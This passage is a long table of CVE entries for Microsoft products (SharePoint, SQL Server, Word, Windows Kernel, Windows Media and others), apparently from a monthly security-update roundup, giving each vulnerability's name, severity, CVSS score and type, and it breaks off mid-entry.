CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections 